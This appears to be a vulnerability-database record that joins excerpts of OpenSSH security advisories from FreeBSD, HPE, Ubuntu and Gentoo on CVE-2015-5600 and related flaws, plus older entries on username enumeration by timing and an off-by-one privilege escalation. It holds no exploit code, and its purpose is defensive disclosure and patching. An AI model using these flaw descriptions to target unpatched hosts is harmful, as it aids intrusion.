\n\nBranch/path                                                      Revision\n- -------------------------------------------------------------------------\nstable/8/                                                         r286067\nreleng/8.4/                                                       r286068\nstable/9/                                                         r285977\nreleng/9.3/                                                       r285980\nstable/10/                                                        r285976\nreleng/10.1/                                                      r285979\nreleng/10.2/                                                      r285978\n- -------------------------------------------------------------------------\n\nTo see which files were modified by a particular revision, run the\nfollowing command, replacing NNNNNN with the revision number, on a\nmachine with Subversion installed:\n\n# svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base\n\nOr visit the following URL, replacing NNNNNN with the revision number:\n\n\u003cURL:https://svnweb.freebsd.org/base?view=revision\u0026revision=NNNNNN\u003e\n\nVII. References\n\n\u003cURL:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2653\u003e\n\n\u003cURL:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5600\u003e\n\nThe latest revision of this advisory is available at\n\u003cURL:https://security.FreeBSD.org/advisories/FreeBSD-SA-15:16.openssh.asc\u003e\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v2.1.6 (FreeBSD)\n\niQIcBAEBCgAGBQJVufuCAAoJEO1n7NZdz2rnHHAQALfjXH/WyrgpHxw1YFipwFSD\nbl+HLbdvMVbfBxLV7eVBK9RPQiyoxwocmU0uMdiNEIWt2llczTLEl/wtUjj6f4Ko\nK6E7AAOgOX4zdQxBd2502FvXC1oNbDEvK8X3M4MzPHAG4QRgXNffRGYvClmbayck\n2i+bjcHdKAEwFJjHk4wXOQ0yhdF6Q36bH0N3kPV9z7sAt3tuzSWhvtX6QQSyeuCJ\nie2db9CdSUnFhYELJnVMpVTf3ppMqUT6QEe45LmsGA6F8yWdMaW2vtMdJq6xFVYP\nINCUVyOlDRu0TibjLUpXu4KugeDgyTXy9oz4SRdnpcUWz33fM6aSgOkpiM1h05ja\nBJrs0HZbkjCwtD+8a0buoyIKb9NBIsDKbrec5g8AEDkAHjRzraLGAXUYwkFeyqYJ\nj+ll5r5iu5fc4s8QM+ySlGCW8V9Ix8FX7Rr7FhAWLSKEldDsnCRjG4EfrAcd1HiC\nPleAnLv4uKwfSugIBIEs5ls7+TzWytW8nnEpMEerXUD894suFIycOT6eoUYF/CCT\nI1nHWSITw4HSj8+wBvrhxwZCRqIMOAZB+3jzrwRE+QZkghoWnPnqrCn9uLkdndq5\newgz6PiuYC8Zx0Z6trA72oV+XjTKu2d6eO5tRpe9aAmhPmfBWg3fXYltVzTzF9IE\nr0z98qmTEPiTDi8dr+K/\n=GsXJ\n-----END PGP SIGNATURE-----\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_n\na-c05128992\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c05128992\nVersion: 1\n\nHPSBST03599 rev.1 - HPE 3PAR OS running OpenSSH, Remote Denial of Service\n(DoS), Access Restriction Bypass\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2016-05-11\nLast Updated: 2016-05-11\n\nPotential Security Impact: Remote Access Restriction Bypass, Denial of\nService (DoS)\n\nSource: Hewlett Packard Enterprise, Product Security Response Team\n\nVULNERABILITY SUMMARY\nA vulnerability in OpenSSH has been addressed by HPE 3PAR OS. The vulnerabily\ncould be exploited remotely resulting in Denial of Service (DoS) or access\nrestriction bypass. \n\nReferences:\n\n  - CVE-2015-5600\n  - PSRT110106\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nHPE 3PAR OS versions 3.1.3 and later, prior to 3.2.1 MU5 and 3.2.2 MU2\nrunning OpenSSH\n\nBACKGROUND\n\nCVSS 2.0 Base Metrics\n===========================================================\n  Reference              Base Vector             Base Score\nCVE-2015-5600    (AV:N/AC:L/Au:N/C:P/I:N/A:C)       8.5\n===========================================================\n             Information on CVSS is documented\n            in HP Customer Notice: HPSN-2008-002\n\nRESOLUTION\n\nHPE has provided the following software updates and mitigation information to\nresolve the vulnerability in 3PAR OS running OpenSSH. \n\n+ 3PAR OS 3.2.1 MU5 and 3.2.2 MU2\n\n    - HPE recommends prior impacted versions update to 3PAR OS 3.2.1 MU5 or\n3.2.2 MU2. \n\n+ 3PAR OS 3.1.3 is also vulnerable but will not be fixed. \n\n    **Mitigation:** The best protection to guard against exploitation of this\nvulnerability is to securely configure and operate the storage array in\naccordance with the *HPE 3PAR Configuration Guidelines* documentation. Please\ncontact HPE Technical Support for assistance. \n\nHISTORY\nVersion:1 (rev.1) - 11 May 2016 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running Hewlett Packard Enterprise (HPE) software\nproducts should be applied in accordance with the customer\u0027s patch management\npolicy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HPE Services support channel. For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hpe.com. \n\nReport: To report a potential security vulnerability with any HPE supported\nproduct, send Email to: security-alert@hpe.com\n\nSubscribe: To initiate a subscription to receive future HPE Security Bulletin\nalerts via Email: http://www.hpe.com/support/Subscriber_Choice\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here: http://www.hpe.com/support/Security_Bulletin_Archive\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HPE General Software\nHF = HPE Hardware and Firmware\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPV = ProCurve\nST = Storage Software\nUX = HP-UX\n\nCopyright 2016 Hewlett Packard Enterprise\n\nHewlett Packard Enterprise shall not be liable for technical or editorial\nerrors or omissions contained herein. The information provided is provided\n\"as is\" without warranty of any kind. To the extent permitted by law, neither\nHP or its affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. Hewlett\nPackard Enterprise and the names of Hewlett Packard Enterprise products\nreferenced herein are trademarks of Hewlett Packard Enterprise in the United\nStates and other countries. Other product and company names mentioned herein\nmay be trademarks of their respective owners. ============================================================================\nUbuntu Security Notice USN-2710-2\nAugust 18, 2015\n\nopenssh regression\n============================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 15.04\n- Ubuntu 14.04 LTS\n- Ubuntu 12.04 LTS\n\nSummary:\n\nUSN-2710-1 introduced a regression in OpenSSH. The upstream fix for\nCVE-2015-5600 caused a regression resulting in random authentication\nfailures in non-default configurations. This update fixes the problem. \n\nOriginal advisory details:\n\n Moritz Jodeit discovered that OpenSSH incorrectly handled usernames when\n using PAM authentication. If an additional vulnerability were discovered in\n the OpenSSH unprivileged child process, this issue could allow a remote\n attacker to perform user impersonation. (CVE number pending)\n  Moritz Jodeit discovered that OpenSSH incorrectly handled context memory\n when using PAM authentication. If an additional vulnerability were\n discovered in the OpenSSH unprivileged child process, this issue could\n allow a remote attacker to bypass authentication or possibly execute\n arbitrary code. (CVE number pending)\n  Jann Horn discovered that OpenSSH incorrectly handled time windows for\n X connections. (CVE-2015-5352)\n  It was discovered that OpenSSH incorrectly handled keyboard-interactive\n authentication. \n (CVE-2015-5600)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 15.04:\n  openssh-server                  1:6.7p1-5ubuntu1.3\n\nUbuntu 14.04 LTS:\n  openssh-server                  1:6.6p1-2ubuntu2.3\n\nUbuntu 12.04 LTS:\n  openssh-server                  1:5.9p1-5ubuntu1.7\n\nIn general, a standard system update will make all the necessary changes. \n\nReferences:\n  http://www.ubuntu.com/usn/usn-2710-2\n  http://www.ubuntu.com/usn/usn-2710-1\n  https://launchpad.net/bugs/1485719\n\nPackage Information:\n  https://launchpad.net/ubuntu/+source/openssh/1:6.7p1-5ubuntu1.3\n  https://launchpad.net/ubuntu/+source/openssh/1:6.6p1-2ubuntu2.3\n  https://launchpad.net/ubuntu/+source/openssh/1:5.9p1-5ubuntu1.7\n. \nVCX prior to 9.8.18 with OpenSSH or ISC BIND. \n\n+ VCX 9.8.18 for the following Products/SKUs:\n\n  - J9672A HP VCX V7205 Platform w/ DL360 G7 Srvr\n  - J9668A HP VCX IPC V7005 Pltfrm w/ DL120 G6 Srvr\n  - JC517A HP VCX V7205 Platform w/DL 360 G6 Server\n  - JE355A HP VCX V6000 Branch Platform 9.0\n  - JC516A HP VCX V7005 Platform w/DL 120 G6 Server\n  - JC518A HP VCX Connect 200 Primry 120 G6 Server\n  - J9669A HP VCX IPC V7310 Pltfrm w/ DL360 G7 Srvr\n  - JE341A HP VCX Connect 100 Secondary\n  - JE252A HP VCX Connect Primary MIM Module\n  - JE253A HP VCX Connect Secondary MIM Module\n  - JE254A HP VCX Branch MIM Module\n  - JE355A HP VCX V6000 Branch Platform 9.0\n  - JD028A HP MS30-40 RTR w/VCX + T1/FXO/FXS/Mod\n  - JD023A HP MSR30-40 Router with VCX MIM Module\n  - JD024A HP MSR30-16 RTR w/VCX Ent Br Com MIM\n  - JD025A HP MSR30-16 RTR w/VCX + 4FXO/2FXS Mod\n  - JD026A HP MSR30-16 RTR w/VCX + 8FXO/4FXS Mod\n  - JD027A HP MSR30-16 RTR w/VCX + 8BRI/4FXS Mod\n  - JD029A HP MSR30-16 RTR w/VCX + E1/4BRI/4FXS\n  - JE340A HP VCX Connect 100 Pri Server 9.0\n  - JE342A HP VCX Connect 100 Sec Server 9.0\n\nHISTORY\nVersion:1 (rev.1) - 28 January 2016 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running Hewlett Packard Enterprise (HPE) software\nproducts should be applied in accordance with the customer\u0027s patch management\npolicy. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory                           GLSA 201512-04\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n                                           https://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: Normal\n    Title: OpenSSH: Multiple vulnerabilities\n     Date: December 20, 2015\n     Bugs: #553724, #555518, #557340\n       ID: 201512-04\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n========\n\nMultiple vulnerabilities have been found in OpenSSH, the worst of which\ncould lead to arbitrary code execution, or cause a Denial of Service\ncondition. \n\nAffected packages\n=================\n\n    -------------------------------------------------------------------\n     Package              /     Vulnerable     /            Unaffected\n    -------------------------------------------------------------------\n  1  net-misc/openssh           \u003c 7.1_p1-r2              \u003e= 7.1_p1-r2\n\nDescription\n===========\n\nMultiple vulnerabilities have been discovered in OpenSSH. Please review\nthe CVE identifiers referenced below for details. \n\nImpact\n======\n\n\n\nWorkaround\n==========\n\nThere is no known workaround at this time. \n\nResolution\n==========\n\nAll OpenSSH users should upgrade to the latest version:\n\n  # emerge --sync\n  # emerge --ask --oneshot --verbose \"\u003e=net-misc/openssh-6.9_p1-r2\"\n\nReferences\n==========\n\n[ 1 ] CVE-2015-5352\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-5352\n[ 2 ] CVE-2015-5600\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-5600\n[ 3 ] CVE-2015-6563\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-6563\n[ 4 ] CVE-2015-6564\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-6564\n[ 5 ] CVE-2015-6565\n      http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-6565\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/201512-04\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n=======\n\nCopyright 2015 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n\n",
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VAR-200305-0063

Vulnerability from variot - Updated: 2024-03-18 20:58

OpenSSH-portable (OpenSSH) 3.6.1p1 and earlier with PAM support enabled immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. Portable Edition OpenSSH If this setting is PAM If enabled in conjunction with an implementation of OpenSSH When authentication fails, the authentication result is determined depending on the existing username and non-existing username. "Permission denied, please try again." There is a vulnerability where there is a difference in the time it takes to return the .It may be possible to guess whether the username exists or not. The portable version of OpenSSH is reported prone to an information-disclosure vulnerability. The portable version is distributed for operating systems other than its native OpenBSD platform. This issue is related to BID 7467. Reportedly, the previous fix for BID 7467 didn't completely fix the issue. This current issue may involve differing code paths in PAM, resulting in a new vulnerability, but this has not been confirmed. Exploiting this vulnerability allows remote attackers to test for the presence of valid usernames. Knowledge of usernames may aid them in further attacks

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VAR-200203-0011

Vulnerability from variot - Updated: 2024-02-26 22:51

Off-by-one error in the channel code of OpenSSH 2.0 through 3.0.2 allows local users or remote malicious servers to gain privileges. OpenSSH is a program used to provide secure connection and communications between client and servers. Channels are used to segregate differing traffic between the client and the server. OpenSSH is a suite implementing the SSH protocol. It includes client and server software, and supports ssh and sftp. It was initially developed for BSD, but is also widely used for Linux, Solaris, and other UNIX-like operating systems. A vulnerability has been announced in some versions of OpenSSH. A malicious client may exploit this vulnerability by connecting to a vulnerable server. Valid credentials are believed to be required, since the exploitable condition reportedly occurs after successful authentication. An examination of the code suggests this, but it has not been confirmed by the maintainer. Administrators should assume that this can be exploited without authentication and should patch vulnerable versions immediately. It encrypts and transmits all network communications, thereby avoiding attacks at many network layers, and is a very useful network connection tool. A user with a legal login account can use this vulnerability to obtain the root authority of the host. To implement X11, TCP and proxy forwarding, OpenSSH multiplexes multiple "channels" on a single TCP connection. The program may mistakenly use memory data outside the normal range, and an attacker with a legitimate login account logs in After entering the system, this vulnerability can be exploited to allow sshd to execute arbitrary commands with root privileges

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